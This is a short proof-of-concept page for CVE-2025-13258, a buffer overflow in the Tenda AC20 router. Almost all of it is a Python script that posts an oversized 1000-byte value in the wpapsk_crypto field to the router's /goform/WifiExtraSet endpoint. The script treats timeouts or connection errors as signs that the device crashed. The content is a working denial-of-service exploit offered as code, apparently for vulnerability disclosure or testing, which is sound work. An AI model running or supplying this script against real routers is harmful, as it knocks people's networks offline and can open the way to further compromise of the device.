CVE-2025-13258 Tenda AC20路由器WifiExtraSet缓冲区溢出漏洞

import requests # CVE-2025-13258 PoC - Tenda AC20 Buffer Overflow # Target: Tenda AC20 Router # Endpoint: /goform/WifiExtraSet # Parameter: wpapsk_crypto target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/WifiExtraSet" # Generate overflow payload - 1000 bytes of 'A' overflow_length = 1000 payload = "A" * overflow_length # Construct the request data data = { "wpapsk_crypto": payload } try: print(f"[*] Sending payload to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") except requests.exceptions.Timeout: print("[-] Request timed out - possible crash") except requests.exceptions.ConnectionError: print("[-] Connection error - device may be crashed or rebooting") except Exception as e: print(f"[-] Error: {str(e)}")